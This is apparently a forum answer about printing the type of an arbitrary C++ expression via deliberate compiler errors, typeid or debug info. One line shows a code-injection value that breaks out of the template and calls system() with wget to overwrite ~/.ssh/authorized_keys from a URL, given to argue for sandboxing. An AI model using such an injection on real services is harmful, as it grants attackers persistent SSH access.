Print types of arbitrary C++ expressions

I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

Result:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.

[edit] How would you put this into a tool? Simple, with macro's

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.


Improving yet more on MSalter's improvement:

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

Result (with $user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

This avoids the link step.


Original answer:

C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

And then pass that source file to the compiler, and run it to get the answer.

Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).

yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !

A better option would be to avoid running the program. With a framework (requires C++11) like:

extern "C" decltype( $user_code )* the_value = 0;

You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.

Tags:

C++